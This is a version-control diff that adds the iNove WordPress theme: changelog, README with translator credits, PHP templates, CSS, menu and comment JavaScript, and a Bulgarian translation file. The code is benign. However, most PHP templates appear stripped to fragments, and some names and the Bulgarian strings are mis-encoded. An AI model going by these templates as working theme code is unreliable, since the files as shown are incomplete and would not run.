REPLY and QUERY events in Opera Browsers. + 1.1.1 2008/12/01 FIX Fixed trackbacks in WordPress 2.7. + 1.1 2008/10/29 NEW Added Norwegian language support. (Thanks Rune Gulbrandsøy) + NEW Added Spanish language support. (Thanks Alberto Gonzalez) + NEW Added 2-level menu and feed readers. + NEW Added style for image captions. + NEW Added 'Show categories as menu' option. + NEW Comment pages ready. + MODIFY light.png => light.gif. + MODIFY Changed ' style for IE6. + 1.0.3 2008/10/11 NEW Created this CHANGLOG file. + NEW Added German language support. (Thanks Nicola Tiling) + NEW Added Danish language support. (Thanks Soeren Eskildsen) + FIX Fixed style for Firefox2. + FIX Fixed trackback style. + FIX Fixed 'Categories & Tags' options. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/README.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/README.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,71 @@ +=== iNove === +Contributors: mg12 +Donate link: http://www.neoease.com/themes/ +Tags: white, light, two-columns, fixed-width, theme-options, right-sidebar +Requires at least: 2.5 +Tested up to: 2.8.3 +Stable tag: 1.4.6 + +== Description == + +iNove theme inspired by MacZone.sk. It is very stylish, widget supported and doesn’t require any plugin. + +Tested on WordPress 2.5.1/2.6.3/2.7.1/2.8.3, with IE 6/7/8, Firefox 2/3/3.5, Opera 9.6, Safari 4 and Chrome 2.0. +Valid XHTML 1.1 and CSS 3! +Best view under 1024×768 or greater. + +== Suggested Languages == + +US English/en_US (default) +简体中文/zh_CN (translate by mg12) +ç¹é«”中文/zh_TW (translate by [nozumu](http://blog.nozumu.game.tw/) and [Allen](http://www.taipei.com.ru/blog/)) +ئۇيغۇرچە/ug_CN (translate by ahbar) +Basque/eu (translate by Ibon Igartua) +Brazilian Portuguese/pt_BR (translate by [Welington Rodrigues Braga](http://www.welrbraga.eti.br/)) +Bulgarian/bg_BG (translate by [Emil Minev](http://www.inspirelearning.net/)) +日本語/ja (translate by [ã‚’ã‹ã‚‚ã¨](http://dogmap.jp/)) +Croatian/hr_HR (translate by Fuzz Fais) +Czech/cs_CZ (translate by [Ladislav Prskavec](http://blog.prskavec.net/)) +Danish/da_DK (translate by Soeren Eskildsen) +Dutch/nl_NL (translate by Johan Scholten & [Melroy](http://www.applewereld.nl/)) +Finnish/fi (translate by Petteri Laine & C. Hellberg) +Français/fr_FR (translate by [Gasquez Florian](http://www.boolean.me/)) +German/de_DE (translate by [Nicola Tiling](http://www.w4w.net/)) +Hindi/hi_IN (translate by [sanjay bengani](http://www.tarakash.com/joglikhi/)) +Hungarian/hu_HU (translate by [Furus Calix](http://www.nybgyonline.hu/)) +Icelandic/is_IS (translate by Undandi) +Indonesian/id_ID (translate by [4MB](http://patembe.com/)) +Israeli Hebrew/he_IL (translate by [David Abutbul](http://abutbul.com/) & [Yonatan Levy](http://www.codim.co.il/)) +Italian/it_IT (translate by [Gianni Diurno](http://gidibao.net/)) +Korean/ko_KR (translate by [Hackie](http://shallweprotest.net/)) +Kurdish/ckb (translate by [Sia](http://www.desian.info/)) +Lithuanian/lt_LT (translate by [Aivaras Kivillius](http://www.manoerdve.net/) & [Mantas Malcius](http://mantas.malcius.lt/)) +Norwegian/nb_NO (translate by [Rune Gulbrandsøy](http://shuttlex.blogdns.net/)) +Persian/fa_IR (translate by [Farzad Sagharchi](http://blog.sagharchi.ir/)) +Polish/pl_PL (translate by [Tomasz Wisniewski](http://tomaszwisniewski.com/)) +Portuguese/pt_PT (translate by Luís Mota) +Russian/ru_RU (translate by [Yury Zemskov](http://torrentnews.ru/)) +Romanian/ro_RO (translate by [Paul Iercosan](http://www.paulierco.ro/)) +Spanish/es_ES (translate by [Alberto Gonzalez](http://albertogonzalez.net/)) +Türkçe/tr_TR (translate by posta) +Ukrainian/uk (translate by [Jurko Chervony](http://pavonine.com.ua/cat/themes/)) +Thai/th (translate by [Kazama](http://blog.wordthai.com/)) +Swedish/sv_SE (translate by Robert Kajic) +Vietnamese/vi_VN (translate by [Thắng Mạo](http://www.thangmao.com/)) + +== Suggested Plugins == + +WP-PageNavi: http://lesterchan.net/portfolio/programming/php/#wp-pagenavi +WP23 Related Posts: http://fairyfish.net/2007/09/12/wordpress-23-related-posts-plugin/ +WP-RecentComments: http://www.neoease.com/plugins/ +Highslide4WP: http://www.neoease.com/plugins/ +WP-Syntax: http://wordpress.org/extend/plugins/wp-syntax/ +Quick Comments: http://wppluginsj.sourceforge.jp/quick-comments/ (version 0.7.0 or heighter) +WP-EasyArchives: http://www.neoease.com/plugins/ +Thread Twitter: http://fairyfish.net/2009/01/16/thread-twitter/ (version 0.4 or heighter) +AJAX Comment Pager: http://www.neoease.com/plugins/ (Comment list ID: thecomments | Callback method name: custom_comments) +Mail To Commenter: http://www.thinkagain.cn/archives/989.html (via '@+user+blank') + +== Demo == + +http://demo.neoease.com/index.php?wptheme=iNove diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,78 @@ + + + + +

    +
    + + +

    +
    + +
    + + + +
    +

    +
    + + + ', ''); ?> + +
    +
    +
    + +
    +
    +
    + + +
    +
    + +
    + +
    + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,43 @@ + + + + + + +
    +

    +
    + + ', ''); ?> + + + + +
    +
    +
    + '; + wp_get_archives('type=monthly&show_post_count=1'); + echo ''; + } + ?> +
    +
    + + + + +
    + +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/chinese.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/chinese.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ +small, +#tagline, +#cmtswitcher, +.comment .date, +.trackback .date, +.comment .act, +.trackback .act, +#submit, +.more-link, +.messagebox, +.errorbox, +#menus li a, +.post .date, +.post .under, +.post .author, +.post .editpost, +.post .readingblinds, +.post .comments, +.post .addcomment, +.post .editlinks, +.post .addlink, +#pagenavi, +#footer, +#cmtswitcher .addcomment, +#cmtswitcher .addtrackback, +#respond, +#commentnavi, +#submitbox #submit, +#sidebar #feedrss, +#sidebar #feedemail, +#sidebar #followme { + font-size:12px; +} +#caption { + padding:25px 30px 21px !important; + padding:25px 30px 20px; +} +#cmtswitcher #trackbacktab { + padding:5px 10px !important; + padding:6px 10px; +} +*+html #cmtswitcher #trackbacktab { + padding:6px 10px !important; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,210 @@ + + +post_password) && $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) : ?> +
    + +
    + + +get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1' AND (comment_type = 'pingback' OR comment_type = 'trackback') ORDER BY comment_date", $post->ID)); + } +?> + + +
    + +
    + + + + + + + + + + + + +
    +
    + +
    + +
      + 0) { + // for WordPress 2.7 or higher + if (function_exists('wp_list_comments')) { + wp_list_comments('type=comment&callback=custom_comments'); + // for WordPress 2.6.3 or lower + } else { + foreach ($comments as $comment) { + if($comment->comment_type != 'pingback' && $comment->comment_type != 'trackback') { + custom_comments($comment, null, null); + } + } + } + } else { + ?> +
    1. + +
    2. + +
    + + + +
    + +
    + + ID; ?> +
    +
    +
    + + + + +
      + + +
    1. +
      + + | +
      +
      + +
      +
      +
      + + + +
      +
    2. + + + +
    3. + +
    4. + + +
    + +
    + +
    + +
    + + + +
    + +
    + +
    + + logged in to post a comment.', 'inove'), $login_link); ?> +
    + + +
    +
    + + + +
    + . + +
    + + + +
    + %s.', 'inove'), $comment_author) ?> + + +
    + + +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    + + + + + + + + +
    + +
    + + +
    + +
    + +
    + +
    + + +
    +
    + +
    + ID); ?> +
    + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,60 @@ +
    + + + +
    +
    + + + + + + + + + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,591 @@ + + +
    +
    +

    + + + + + + + + +
    + +
    + + +
    + name="cx" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4', 'inove'), 'http://www.google.com/coop/cse/'); ?> +
    + + + + + + + + +
    + + +
    + + + + + + + + +
    + +
    + + + + + + + + +
    + +
    + +
    + + +
    + + +
    + + + + + + + + +
    + +
    + +
    + + +
    + + + + +
    + + +
    + + + + + + + + +
    + +
    + +
    + + +
    + + + + +
    + + +
    + + +
    + + + + + + + + +
    + + + +
    + + + + + + + + +
    + +
    + + + + + + + + +
    + +
    + + +
    + + +
    + + + + + + + + +
    + +
    + + +
    + Follow NeoEase + | Follow MG12 +
    + + + + + + + + +
    + +
    + +
    + + +
    + +

    + +

    +
    +
    + + +
    +
    + + + + + + + + +
    Donation + If you find my work useful and you want to encourage the development of more free resources, you can do it by donating... +
    + + + + +
    + +
    +
    + + 'north_sidebar', + 'before_widget' => '
    ', + 'after_widget' => '
    ', + 'before_title' => '

    ', + 'after_title' => '

    ' + )); + register_sidebar(array( + 'name' => 'south_sidebar', + 'before_widget' => '
    ', + 'after_widget' => '
    ', + 'before_title' => '

    ', + 'after_title' => '

    ' + )); + register_sidebar(array( + 'name' => 'west_sidebar', + 'before_widget' => '
    ', + 'after_widget' => '
    ', + 'before_title' => '

    ', + 'after_title' => '

    ' + )); + register_sidebar(array( + 'name' => 'east_sidebar', + 'before_widget' => '
    ', + 'after_widget' => '
    ', + 'before_title' => '

    ', + 'after_title' => '

    ' + )); +} + +/** Comments */ +if (function_exists('wp_list_comments')) { + // comment count + function comment_count( $commentcount ) { + global $id; + $_comments = get_comments('status=approve&post_id=' . $id); + $comments_by_type = &separate_comments($_comments); + return count($comments_by_type['comment']); + } +} + +// custom comments +function custom_comments($comment, $args, $depth) { + $GLOBALS['comment'] = $comment; + global $commentcount; + if(!$commentcount) { + $commentcount = 0; + } +?> +
  • +
    +
    + +
    +
    + + + + + + + + + + + + + +
    +
    + +
    +
    + + | +
    +
    + | + + +
    +
    +
    + comment_approved == '0') : ?> +

    + + +
    + +
    +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ + + + + + + + + + <?php bloginfo('name'); ?><?php wp_title(); ?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + +
    > + + + + +
    + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/ie.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/ie.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ +pre { + word-wrap:break-word; /* Internet Explorer 5.5+ */ +} +a span, +#submitbox #submit, +#searchbox .button, +#subscribe li a { + cursor:hand; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/ajax-loader.gif Binary file web/wp-content/themes/inove/img/ajax-loader.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/arrow.gif Binary file web/wp-content/themes/inove/img/arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/bg.jpg Binary file web/wp-content/themes/inove/img/bg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/blockquote.gif Binary file web/wp-content/themes/inove/img/blockquote.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/box.gif Binary file web/wp-content/themes/inove/img/box.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/box_1col.gif Binary file web/wp-content/themes/inove/img/box_1col.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/comment.gif Binary file web/wp-content/themes/inove/img/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/comment_1col.gif Binary file web/wp-content/themes/inove/img/comment_1col.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/commentpoint.png Binary file web/wp-content/themes/inove/img/commentpoint.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/feeds.gif Binary file web/wp-content/themes/inove/img/feeds.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/footer.jpg Binary file web/wp-content/themes/inove/img/footer.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/header.jpg Binary file web/wp-content/themes/inove/img/header.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/icons.gif Binary file web/wp-content/themes/inove/img/icons.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/light.gif Binary file web/wp-content/themes/inove/img/light.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/lovelace.gif Binary file web/wp-content/themes/inove/img/lovelace.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/main_shadow.gif Binary file web/wp-content/themes/inove/img/main_shadow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/menu.gif Binary file web/wp-content/themes/inove/img/menu.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/messagebox.gif Binary file web/wp-content/themes/inove/img/messagebox.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/messagebox_1col.gif Binary file web/wp-content/themes/inove/img/messagebox_1col.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/postbox.gif Binary file web/wp-content/themes/inove/img/postbox.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/postbox_1col.gif Binary file web/wp-content/themes/inove/img/postbox_1col.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/readers.gif Binary file web/wp-content/themes/inove/img/readers.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/searchbox.gif Binary file web/wp-content/themes/inove/img/searchbox.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/sidebar_shadow.gif Binary file web/wp-content/themes/inove/img/sidebar_shadow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/sidesep.gif Binary file web/wp-content/themes/inove/img/sidesep.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/textfield.gif Binary file web/wp-content/themes/inove/img/textfield.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/title.gif Binary file web/wp-content/themes/inove/img/title.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/widgetsep.png Binary file web/wp-content/themes/inove/img/widgetsep.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/img/wp-logo.png Binary file web/wp-content/themes/inove/img/wp-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/arrow.gif Binary file web/wp-content/themes/inove/imgrtl/arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/blockquote.gif Binary file web/wp-content/themes/inove/imgrtl/blockquote.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/menu.gif Binary file web/wp-content/themes/inove/imgrtl/menu.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/path.gif Binary file web/wp-content/themes/inove/imgrtl/path.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/searchbox.gif Binary file web/wp-content/themes/inove/imgrtl/searchbox.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/imgrtl/sidesep.gif Binary file web/wp-content/themes/inove/imgrtl/sidesep.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,53 @@ + + + + +
    +
    + +
    +
    +
    + + + +
    +

    +
    + + + ', ''); ?> + +
    +
    +
    + +
    +
    +
    + + +
    +
    + +
    + +
    + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/js/base.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/js/base.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ +/* +Author: mg12 +Update: 2008/05/05 +Author URI: http://www.neoease.com/ +*/ +(function() { + +function $(id) { + return document.getElementById(id); +} + +function setStyleDisplay(id, status) { + $(id).style.display = status; +} + +function goTop(a, t) { + a = a || 0.1; + t = t || 16; + + var x1 = 0; + var y1 = 0; + var x2 = 0; + var y2 = 0; + var x3 = 0; + var y3 = 0; + + if (document.documentElement) { + x1 = document.documentElement.scrollLeft || 0; + y1 = document.documentElement.scrollTop || 0; + } + if (document.body) { + x2 = document.body.scrollLeft || 0; + y2 = document.body.scrollTop || 0; + } + var x3 = window.scrollX || 0; + var y3 = window.scrollY || 0; + + var x = Math.max(x1, Math.max(x2, x3)); + var y = Math.max(y1, Math.max(y2, y3)); + + var speed = 1 + a; + window.scrollTo(Math.floor(x / speed), Math.floor(y / speed)); + if(x > 0 || y > 0) { + var f = "MGJS.goTop(" + a + ", " + t + ")"; + window.setTimeout(f, t); + } +} + +function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) { + $(activeTab).className = activeClass; + $(fadeTab).className = fadeClass; + + var panel, panelList; + panelList = showPanels.split(','); + for (var i = 0; i < panelList.length; i++) { + var panel = panelList[i]; + if ($(panel)) { + setStyleDisplay(panel, 'block'); + } + } + panelList = hidePanels.split(','); + for (var i = 0; i < panelList.length; i++) { + panel = panelList[i]; + if ($(panel)) { + setStyleDisplay(panel, 'none'); + } + } +} + +function loadCommentShortcut() { + $('comment').onkeydown = function (moz_ev) { + var ev = null; + if (window.event){ + ev = window.event; + } else { + ev = moz_ev; + } + if (ev != null && ev.ctrlKey && ev.keyCode == 13) { + $('submit').click(); + } + } + $('submit').value += ' (Ctrl+Enter)'; +} + +function getElementsByClassName(className, tag, parent) { + parent = parent || document; + + var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag); + var matchingElements = new Array(); + + className = className.replace(/\-/g, '\\-'); + var regex = new RegExp('(^|\\s)' + className + '(\\s|$)'); + + var element; + for (var i = 0; i < allTags.length; i++) { + element = allTags[i]; + if (regex.test(element.className)) { + matchingElements.push(element); + } + } + + return matchingElements; +} + +window['MGJS'] = {}; +window['MGJS']['$'] = $; +window['MGJS']['setStyleDisplay'] = setStyleDisplay; +window['MGJS']['goTop'] = goTop; +window['MGJS']['switchTab'] = switchTab; +window['MGJS']['loadCommentShortcut'] = loadCommentShortcut; +window['MGJS']['getElementsByClassName'] = getElementsByClassName; + +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/js/comment.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/js/comment.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,86 @@ +/* +Author: mg12 +Update: 2008/05/05 +Author URI: http://www.neoease.com/ +*/ +(function() { + +function reply(authorId, commentId, commentBox) { + var author = MGJS.$(authorId).innerHTML; + var insertStr = '@' + author.replace(/\t|\n|\r\n/g, "") + ' \n'; + + appendReply(insertStr, commentBox); +} + +function quote(authorId, commentId, commentBodyId, commentBox) { + var author = MGJS.$(authorId).innerHTML; + var comment = MGJS.$(commentBodyId).innerHTML; + + var insertStr = '
    '; + insertStr += '\n' + author.replace(/\t|\n|\r\n/g, "") + ' :'; + insertStr += comment.replace(/\t/g, ""); + insertStr += '
    \n'; + + insertQuote(insertStr, commentBox); +} + +function appendReply(insertStr, commentBox) { + if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') { + field = MGJS.$(commentBox); + + } else { + alert("The comment box does not exist!"); + return false; + } + + if (field.value.indexOf(insertStr) > -1) { + alert("You've already appended this reply!"); + return false; + } + + if (field.value.replace(/\s|\t|\n/g, "") == '') { + field.value = insertStr; + } else { + field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr; + } + field.focus(); +} + +function insertQuote(insertStr, commentBox) { + if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') { + field = MGJS.$(commentBox); + + } else { + alert("The comment box does not exist!"); + return false; + } + + if(document.selection) { + field.focus(); + sel = document.selection.createRange(); + sel.text = insertStr; + field.focus(); + + } else if (field.selectionStart || field.selectionStart == '0') { + var startPos = field.selectionStart; + var endPos = field.selectionEnd; + var cursorPos = startPos; + field.value = field.value.substring(0, startPos) + + insertStr + + field.value.substring(endPos, field.value.length); + cursorPos += insertStr.length; + field.focus(); + field.selectionStart = cursorPos; + field.selectionEnd = cursorPos; + + } else { + field.value += insertStr; + field.focus(); + } +} + +window['MGJS_CMT'] = {}; +window['MGJS_CMT']['reply'] = reply; +window['MGJS_CMT']['quote'] = quote; + +})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/js/menu.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/js/menu.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,204 @@ +/* +Author: mg12 +Update: 2009/08/07 +Author URI: http://www.neoease.com/ +*/ +(function() { + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var GhostlyMenu = Class.create(); +GhostlyMenu.prototype = { + + initialize: function(target, align, sub) { + this.obj = cleanWhitespace(target); + this.align = align || 'left'; + this.sub = sub || -1; + + this.menu = this.obj.childNodes; + if (this.menu.length < 2) { return; } + + this.title = this.menu[0]; + this.body = this.menu[1]; + + cleanWhitespace(this.body).lastChild.getElementsByTagName('a')[0].className += ' last'; + + setStyle(this.body, 'visibility', 'hidden'); + setStyle(this.body, 'display', 'block'); + + addListener(this.obj, 'mouseover', bind(this, this.activate), false); + addListener(this.obj, 'mouseout', bind(this, this.deactivate), false); + }, + + activate: function() { + if(this.sub == 1) { + var pos = currentOffset(this.title); + var top = pos[1] - 1; + var left = getWidth(this.body) - 2; + if (this.align == 'right') { + var left = getWidth(this.body) * (-1); + } + } else { + var pos = cumulativeOffset(this.title); + var top = pos[1] + getHeight(this.title); + var left = pos[0]; + if (this.align == 'right') { + left += getWidth(this.title) - getWidth(this.body); + } + } + + if(!/current/.test(this.title.className)) { + this.title.className += ' current'; + } + + setStyle(this.body, 'left', left + 'px'); + setStyle(this.body, 'top', top + 'px'); + setStyle(this.body, 'visibility', 'visible'); + }, + + deactivate: function(){ + this.title.className = this.title.className.replace('current', ''); + var thismenu = this; + var tid = setInterval( function() { + clearInterval(tid); + if (!/current/.test(thismenu.title.className)) { + setStyle(thismenu.body, 'visibility', 'hidden'); + } + return false; + }, 400); + } +} + +$A = function(iterable) { + if(!iterable) { + return []; + } + if(iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for(var i = 0; i < iterable.length; i++) { + results.push(iterable[i]); + } + return results; + } +} + +bind = function() { + var array = this.$A(arguments); + var func = array[array.length - 1]; + var method = func, args = array, object = args.shift(); + return function() { + return method.apply(object, args.concat(array)); + } +} + +getHeight = function(element) { + return element.offsetHeight; +} + +getWidth = function(element) { + return element.offsetWidth; +} + +setStyle = function(element, key, value) { + element.style[key] = value; +} + +cleanWhitespace = function(list) { + var node = list.firstChild; + while (node) { + var nextNode = node.nextSibling; + if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) { + list.removeChild(node); + } + node = nextNode; + } + return list; +} + +currentOffset = function(element) { + var valueT = element.offsetTop || 0; + var valueL = element.offsetLeft || 0; + return [valueL, valueT]; +} + +cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; +} + +addListener = function(element, name, observer, useCapture) { + if(element.addEventListener) { + element.addEventListener(name, observer, useCapture); + } else if(element.attachEvent) { + element.attachEvent('on' + name, observer); + } +} + +function loadMenus() { + var align = 'left'; + for(var i = 0; (a = document.getElementsByTagName('link')[i]); i++) { + if((a.getAttribute('rel') == 'stylesheet') && (a.getAttribute('href').indexOf('rtl.css') != -1)) { + align = 'right'; + } + } + + var subscribe = document.getElementById('subscribe'); + if (subscribe) { + new GhostlyMenu(subscribe, align); + } + + var menubar = document.getElementById('menus'); + if (menubar) { + var list = menubar.getElementsByTagName('ul'); + for (var i = 0; i < list.length; i++) { + var menu = list[i].parentNode; + if(menu.parentNode === menubar) { + new GhostlyMenu(menu, align); + } else { + new GhostlyMenu(menu, align, 1); + menu.firstChild.className += ' subtitle'; + } + } + } +} + +if (document.addEventListener) { + document.addEventListener("DOMContentLoaded", loadMenus, false); + +} else if (/MSIE/i.test(navigator.userAgent)) { + document.write(''); + var script = document.getElementById('__ie_onload_for_inove'); + script.onreadystatechange = function() { + if (this.readyState == 'complete') { + loadMenus(); + } + } + +} else if (/WebKit/i.test(navigator.userAgent)) { + var _timer = setInterval( function() { + if (/loaded|complete/.test(document.readyState)) { + clearInterval(_timer); + loadMenus(); + } + }, 10); + +} else { + window.onload = function(e) { + loadMenus(); + } +} + +})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/bg_BG.mo Binary file web/wp-content/themes/inove/languages/bg_BG.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/bg_BG.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/bg_BG.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,577 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:01+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Bulgarian\n" +"X-Poedit-Country: BULGARIA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - вÑички публикации" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - вÑички коментари" + +#: 404.php:22 +msgid "Talker" +msgstr "" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Грешка 404" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Попаднахте на тази Ñтраница, понеже Ñте поÑетили връзка, коÑто не ÑъщеÑтвува. Причината най-вероÑтно е при наÑ, за което Ñе извинÑваме!" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Можете да Ñе върнете обратно, като натиÑнете бутона за Ð½Ð°Ð²Ð¸Ð³Ð°Ñ†Ð¸Ñ Ð½Ð° Ð²Ð°ÑˆÐ¸Ñ Ð±Ñ€Ð°ÑƒÐ·ÑŠÑ€ или да Ñе върнете в началната Ñтраница, като използвате ÑÐ»ÐµÐ´Ð½Ð¸Ñ Ð»Ð¸Ð½Ðº:" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Обратно към началната Ñтраница »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Резултати от търÑенето" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Ключови думи: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Ðрхив" + +#: 